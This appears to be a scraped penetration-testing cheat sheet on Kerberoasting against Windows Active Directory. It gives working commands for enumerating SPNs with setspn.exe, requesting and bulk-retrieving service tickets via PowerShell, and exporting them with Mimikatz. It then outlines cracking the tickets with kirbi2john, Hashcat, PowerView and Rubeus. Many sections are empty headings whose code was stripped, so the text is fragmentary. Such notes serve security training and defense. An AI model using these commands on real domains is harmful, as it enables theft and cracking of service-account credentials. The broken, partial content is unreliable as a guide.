๐ŸชŸWindows - Kerberoasting

setspn.exe

Enumerating SPNs with setspn.exe

setspn.exe -Q */*

Targeting a Single User

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"

Retrieving All Tickets Using setspn.exe

setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Note: We can also choose to retrieve all tickets using the same method, but this will also pull all computer accounts, so it is not optimal.

Mimikatz

Extracting Tickets from Memory with Mimikatz

Using 'mimikatz.log' for logfile : OK

mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true

mimikatz # kerberos::list /export  

Preparing the Base64 Blob for Cracking

Placing the Output into a File as .kirbi

kirbi2john.py

  • https://raw.githubusercontent.com/nidem/kerberoast/907bf234745fe907cf85f3fd916d1c14ab9d65c0/kirbi2john.py

Extracting the Kerberos Ticket using kirbi2john.py

Hashcat

reference

Modifiying crack_file for Hashcat

Cracking the Hash with Hashcat

hashcat --example-hashes

code

example

--user

code

example

Powerview

Using PowerView to Extract TGS Tickets

Using PowerView to Target a Specific User

Exporting All Tickets to a CSV File

Rubeus

Using the /stats Flag

Using the /nowrap Flag

Using the /user Flag

Using the /tgtdeleg Flag

Note:

  • When supplying the /tgtdeleg flag, the tool requested an RC4 ticket even though the supported encryption types are listed as AES 128/256

  • Does not work against a Windows Server 2019 Domain Controller

Encryption Types

Encryption
Hash Type

RC24

$krb5tgs$23$*

AES-256

$krb5tgs$18$*

AES-128

$krb5tgs$17$*

msDS-SupportedEncryptionTypes

Decimal Value
Hex Value

0

0x0

Not defined - defaults to RC4_HMAC_MD5

Cracking the Ticket with Hashcat & rockyou.txt

Checking Supported Encryption Types

Requesting a New Ticket

Running Hashcat & Checking the Status of the Cracking Job

Edit Encryption Types

Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options

Network security: Configure encryption types allowed for Kerberos

Last updated